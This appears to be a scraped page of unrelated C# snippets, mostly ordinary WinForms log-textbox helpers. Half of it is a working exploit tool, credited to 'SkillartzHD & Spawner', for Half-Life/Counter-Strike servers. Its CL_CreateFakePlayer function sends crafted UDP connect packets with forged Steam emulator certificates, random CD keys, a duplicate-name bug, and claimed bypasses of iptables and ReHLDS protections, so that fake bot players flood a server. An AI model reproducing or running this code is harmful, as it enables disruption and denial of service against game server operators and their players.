Exemple #1
0
 public Log()
 {
     InitializeComponent();
     LogText.Text = history;
     Paste();
     LogText.SelectionStart = LogText.Text.Length;
     LogText.ScrollToCaret();
 }
 public void Addlog(string text, Color color, bool isBold = false)
 {
     LogText.AppendText(@"[" + DateTime.Now.ToString("hh:mm:ss") + @"]");
     if (isBold)
     {
         LogText.SelectionFont = new Font(LogText.Font, FontStyle.Bold);
     }
     LogText.SelectionColor = color;
     LogText.AppendText(text + "\n");
     LogText.SelectionStart = LogText.Text.Length;
     LogText.ScrollToCaret();
 }
 private void AddLogText(string logText, bool isError = false)
 {
     if (isError)
     {
         LogText.SelectionColor = Color.Red;
     }
     else
     {
         LogText.SelectionColor = Color.Black;
     }
     LogText.AppendText(Environment.NewLine + logText);
     LogText.ScrollToCaret();
 }
        private void Log(string text)
        {
            int oldStart  = LogText.SelectionStart;
            int oldLength = LogText.SelectionLength;

            if (LogText.TextLength == 0)
            {
                LogText.Text = text;
            }
            else
            {
                LogText.AppendText(Environment.NewLine + text);
            }

            LogText.Select(LogText.TextLength, 0);
            LogText.ScrollToCaret();

            LogText.Select(oldStart, oldLength);
        }
Exemple #5
0
        //////////////////////////////////////////////////////////////////////////
        public void AddLogLine(string Line)
        {
            int Start = LogText.Text.Length;

            LogText.SelectionLength = 0;
            LogText.AppendText(Line + "\n");

            LogText.SelectionStart  = Start;
            LogText.SelectionLength = LogText.Text.Length - Start;

            if (Line.ToLower().Contains("error"))
            {
                LogText.SelectionColor = Color.Red;
            }
            else if (Line.ToLower().Contains("warning"))
            {
                LogText.SelectionColor = Color.Purple;
            }


            LogText.SelectionStart  = LogText.Text.Length;
            LogText.SelectionLength = 0;
            LogText.ScrollToCaret();
        }
Exemple #6
0
 private void LogText_TextChanged(object sender, EventArgs e)
 {
     LogText.ScrollToCaret();
 }
        private async void button2_Click_1(object sender, EventArgs e)
        {
            if (CommandSennder.Text.Contains("connect"))
            {
                var originalstring = CommandSennder.Text;
                var replacedstring = originalstring.Remove(0, originalstring.IndexOf(' ') + 1);
                CL_CreateFakePlayer(replacedstring, buffer);
                await Task.Delay(50);
            }
            else if (CommandSennder.Text.Contains("cmdlist"))
            {
                LogText.Text           = "Coded by SkillartzHD & Spawner\n\necho --> print console\nconnect --> connect to server ip:port\nsetinfo --> set player userinfo\ncmdlist --> print all commands registred in software\nvisit --> visit my website\nquit --> close software\nreload --> open again exploit gui\n";
                LogText.SelectionStart = LogText.Text.Length;
                LogText.ScrollToCaret();
            }
            else if (CommandSennder.Text.Contains("echo"))
            {
                var originalstring = CommandSennder.Text;
                var replacedstring = originalstring.Remove(0, originalstring.IndexOf(' ') + 1);
                LogText.SelectionStart = LogText.Text.Length;
                LogText.ScrollToCaret();
                LogText.AppendText(replacedstring + "\n");
            }
            else if (CommandSennder.Text.Contains("reload"))
            {
                Exploitv2 reload_function = new Exploitv2();
                reload_function.Show();
            }
            else if (CommandSennder.Text.Contains("visit"))
            {
                LogText.Text = "Coded by SkillartzHD & Spawner\n";
                Process.Start("http://alphacs.ro/member.php?8-SkillartzHD");
            }
            else if (CommandSennder.Text.Contains("quit"))
            {
                Close();
            }

            else if (CommandSennder.Text.Contains("setinfo"))
            {
                if (CommandSennder.Text.Contains("\\"))
                {
                    ResponseConsole.Text = "Don't allowed this string : " + CommandSennder.Text;
                    await Task.Delay(500);

                    ResponseConsole.Text = null;
                    return;
                }
                var    originalstring     = CommandSennder.Text;
                var    replacedstring     = originalstring.Remove(0, originalstring.IndexOf(' ') + 1);
                string registerinuserinfo = replacedstring.Replace(" ", "\\");
                buffer = "\\" + registerinuserinfo;
                ResponseConsole.Text = "Registred sucessfully in userinfo : " + replacedstring;
                await Task.Delay(500);

                ResponseConsole.Text = null;
            }

            else
            {
                ResponseConsole.Text = "Unknown command : " + CommandSennder.Text;
                await Task.Delay(500);

                ResponseConsole.Text = null;
            }
        }
        public string CL_CreateFakePlayer(string address, string setinfo)
        {
            try
            {
                string SV_CheckForDuplicateNames_method1 = "\"";
                string SV_CheckForDuplicateNames_method2 = "." + RandomSV_CheckForDuplicateNamesBug2(1) + ".";


                Random ra  = new Random();
                int    r1  = ra.Next(1, 1024);
                int    r2  = ra.Next(0, 2);
                int    r3  = ra.Next(0, 1);
                int    r4  = ra.Next(0, 1);
                int    r5  = ra.Next(0, 300);
                int    r6  = ra.Next(1, 20);
                int    r7  = ra.Next(20, 150);
                int    r8  = ra.Next(0, 1024);
                int    r9  = ra.Next(3500, 50000);
                int    r91 = ra.Next(60000 - 30000);


                var modelsn = new List <string> {
                    "arctic", "gign", "gsg9", "leet", "sas", "terror", "urban", "vip", "guerilla",
                };

                int index = random.Next(modelsn.Count);
                var model = modelsn[index];
                modelsn.RemoveAt(index);


                //Protinfo packet

                string userkey = "\\prot\\3\\unique\\-1\\raw\\steam\\cdkey\\" + CDKeyGenerator(32) + " ";

                // Setinfo packet

                string userinfo = "\\name\\" +
                                  NameText.Lines[0] +
                                  SV_CheckForDuplicateNames_method1 +
                                  "\\_cl_autowepswitch\\" + r3 +
                                  "\\bottomcolor\\" + r7 +
                                  "\\cl_dlmax\\" + r8 +
                                  "\\cl_lc\\" + r3 +
                                  "\\cl_lw\\" + r3 +
                                  "\\cl_updaterate\\" + r6 +
                                  "\\model\\" + model +
                                  "\\topcolor\\" + r5 +
                                  "\\_vgui_menus\\" + r2 +
                                  "\\rate\\" + r9 + "\"";

                string userinfo2 = "\\name\\" +
                                   NameText.Lines[0]
                                   + SV_CheckForDuplicateNames_method2
                                   + "\\_cl_autowepswitch\\" + r3 +
                                   "\\bottomcolor\\" + r7 +
                                   "\\cl_dlmax\\" + r8 +
                                   "\\cl_lc\\" + r3 +
                                   "\\cl_lw\\" + r3 +
                                   "\\cl_updaterate\\" + r6 +
                                   "\\model\\" + model +
                                   "\\topcolor\\" + r5 +
                                   "\\_vgui_menus\\" + r2 +
                                   "\\rate\\" + r9;

                if (spoofname.Checked == true)
                {
                    NameText.Text    = RandomStringSteamID(7);
                    NameText.Enabled = false;
                }
                if (spoofname.Checked == false)
                {
                    NameText.Enabled = true;
                }

                string fullstring  = userkey + setinfo + userinfo;
                string fullstring2 = userkey + setinfo + userinfo2;

                for (int i = 0; i < 2; i++)
                {
                    List <byte> list     = new List <byte>();
                    string[]    array    = address.Split(new char[] { ':' });
                    IPEndPoint  remoteEP = new IPEndPoint(IPAddress.Parse(array[0]), Convert.ToInt32(array[1]));
                    Socket      socket   = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    socket.SendTimeout    = 1000;
                    socket.ReceiveTimeout = 1000;
                    socket.Connect(remoteEP);

                    byte[] array2 = new byte[2048];
                    socket.Send(new byte[] {
                        0xff, 0xff, 0xff, 0xff, 0x67,
                        0x65, 0x74, 0x63, 0x68, 0x61,
                        0x6c, 0x6c, 0x65, 0x6e, 0x67,
                        0x65, 0x20, 0x73, 0x74, 0x65, 0x61, 0x6d,
                        0x0A
                    });      // 0x0A bypass iptables protection Voxility servers
                    // SV_GetChallenge
                    socket.Receive(array2);

                    string challenge = Encoding.Default.GetString(array2).Split(new char[] { ' ' })[1];

                    list.AddRange(new byte[] { 0xff, 0xff, 0xff, 0xff }); // yyyy(utf8) for make connection
                    list.AddRange(Encoding.Default.GetBytes("connect"));  // SV_ConnectClient
                    list.AddRange(new byte[] { 0x20 });
                    list.AddRange(Encoding.Default.GetBytes("48"));       // SV_CheckProtocol
                    list.AddRange(new byte[] { 0x20 });
                    list.AddRange(Encoding.Default.GetBytes(challenge));
                    list.AddRange(new byte[] { 0x20 });


                    if (!string.IsNullOrEmpty(sv_password.Text))
                    {
                        string withpassword  = userkey + "\\password\\" + sv_password.Text + "" + userinfo;
                        string withpassword2 = userkey + "\\password\\" + sv_password.Text + "" + userinfo2;

                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withpassword2));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withpassword));
                        }
                    }
                    else
                    {
                        sv_password.Enabled = true;
                    }
                    if (this.steamid.SelectedIndex == 8)
                    {
                        // SXE userinfo
                        string fullstringsxei = userkey + setinfo + "\\*HID\\" + RandomStringSteamID(8) +
                                                userinfo;   // HID is generated by SXE
                        string fullstring2sxei = userkey + setinfo + "\\*HID\\" + RandomStringSteamID(8) +
                                                 userinfo2; // HID is generated by SXE

                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstring2sxei));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstringsxei));
                        }
                    }
                    else if (this.steamid.SelectedIndex == 7)
                    {
                        sv_password.Clear();
                        sv_password.Enabled = false;

                        // HLTV Userinfo
                        string withhltv = "\\prot\\2\\unique\\-1\\raw\\" + CDKeyGenerator(32) +
                                          "\\ " + "\\*hltv\\1" + userinfo;
                        string withhltv2 = "\\prot\\2\\unique\\-1\\raw\\" + CDKeyGenerator(32) +
                                           "\\ " + "\\*hltv\\1" + userinfo2;

                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withhltv2));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(withhltv));
                        }
                    }
                    else if (string.IsNullOrEmpty(sv_password.Text))
                    {
                        sv_password.Enabled = true;
                        if (bypassrehlds.Checked == true)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstring2));
                        }
                        if (bypassrehlds.Checked == false)
                        {
                            list.AddRange(Encoding.Default.GetBytes(fullstring));
                        }
                    }

                    //Start steamid certificated

                    if (this.steamid.SelectedIndex == 8)
                    {
                        list.AddRange(new byte[] { 0x2E, 0x99, 0x2E, 0x0A, 0x00 }); // SXE
                    }
                    else
                    {
                        list.AddRange(new byte[] { 0x0A }); // validation SV_GetIDString
                    }

                    if (this.steamid.SelectedIndex == 0)
                    {
                        list.AddRange(new byte[] {
                            0x4A, 0x00, 0x00, 0x00, 0x39, 0x05, 0x00, 0x00, 0x76, 0x65, 0x72, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x72, 0x0A, 0x00, 0x00, 0x01, 0x00, 0x10, 0x01, 0x4A, 0x38,
                            0x32, 0x5A, 0x57, 0x51, 0x41, 0x42, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00
                        });

                        // Generate RevEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 1)
                    {
                        //oldrevemu
                        list.AddRange(new byte[] { 0xFF, 0xFF });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(8)));
                        // Generate oldRevEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 2)
                    {
                        //steamemu
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(80)));
                        list.AddRange(new byte[] { 0xff, 0xff, 0xff, 0xff });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(684)));
                        //Generate SteamEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 3)
                    {
                        //avsmp 1
                        list.AddRange(new byte[] { 0x14, 0x00, 0x00, 0x00 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(8)));
                        list.AddRange(new byte[] { 0xFF });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(3)));
                        list.AddRange(new byte[] { 0x01, 0x00, 0x10, 0x01 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(4)));
                        list.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x00 });
                        // Generate AVSMP 1 certificate
                    }
                    if (this.steamid.SelectedIndex == 4)
                    {
                        //avsmp 0
                        list.AddRange(new byte[] { 0x14, 0x00, 0x00, 0x00 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(12)));
                        list.AddRange(new byte[] { 0x01, 0x00, 0x10, 0x01 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(4)));
                        list.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x00 });
                        // Generate AVSMP 0 certificate
                    }
                    if (this.steamid.SelectedIndex == 5)
                    {
                        list.AddRange(new byte[] { 0x7B, 0x7F, 0xCA, 0xD4, 0x23, 0x60, 0xDB, 0xC7, 0x1F, 0x2E, 0x6A, 0x6D, 0x96, 0x2A, 0x1A, 0x21, 0x44, 0x31, 0xC8, 0x3A, 0x05, 0x31, 0xC4, 0xB4 });
                        list.AddRange(Encoding.Default.GetBytes(RandomStringSteamID(744)));
                        // Generate SteamEmu certificate
                    }
                    if (this.steamid.SelectedIndex == 6)
                    {
                        list.AddRange(new byte[] {
                            0x14, 0x00, 0x00, 0x00, 0x33, 0xF3, 0x93, 0x6F, 0x25, 0x9F, 0x5D, 0x73, 0xFE, 0x37, 0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, 0xFC, 0x85, 0x62, 0xC9
                        });
                        // Generate NativeSteam by Valve certificate
                        // This packet is sended by native of Valve (original SteamID)
                        // Note : it should be changed automatically to 14 days as it expires
                    }

                    socket.Send(list.ToArray());

                    if (Log.Checked == true)
                    {
                        socket.Receive(array2);
                        //Recive server info


                        LogText.SelectionStart = LogText.Text.Length;
                        LogText.ScrollToCaret();
                        LogText.AppendText("" + this.ServerList.Lines[i] + " : Bot name : " + NameText.Text + " (Emulator : " + steamid.Text + ")\n");
                        LogText.SelectionStart = LogText.Text.Length;
                        LogText.ScrollToCaret();
                        LogText.AppendText("" + this.ServerList.Lines[i] + " : Exploit : SV_CheckForDuplicateNames v2 \n");
                        LogText.SelectionStart = LogText.Text.Length;
                        string correctinfo = Encoding.Default.GetString(array2).Replace("ÿ", null).Replace("9", null).Replace("8", null);
                        if (correctinfo.Contains("B "))
                        {
                            string useridplayer = Encoding.Default.GetString(array2).Split(new char[] { ' ' })[1];
                            LogText.AppendText("" + this.ServerList.Lines[i] + " : ServerRecv : Bot is successfully connected (UserID : " + useridplayer + ")\n");
                        }
                        else
                        {
                            LogText.AppendText("" + this.ServerList.Lines[i] + " : ServerRecv : " + correctinfo);
                        }
                        if (correctinfo.Contains("Invalid userinfo in connect command"))
                        {
                            LogText.AppendText("CL_CreateFakePlayer : This server is secured, please activate \"Bypass ReHLDS\" \n");
                            list.AddRange(Encoding.Default.GetBytes(fullstring2));
                        }
                        LogText.SelectionStart = LogText.Text.Length;
                        LogText.ScrollToCaret();
                        LogText.AppendText("--------------------------------------------------------------------------\n");
                    }

                    list.Clear();
                }
                if (delaycheck.Checked == false)
                {
                    RepeatCreateFakePlayer.Stop();
                }
            }
            catch (Exception)
            {
                RepeatCreateFakePlayer.Stop();
            }
            return(address);
        }
 private void LogText_TextChanged(object sender, EventArgs e)
 {
     // auto scroll bottom
     LogText.SelectionStart = LogText.Text.Length;
     LogText.ScrollToCaret();
 }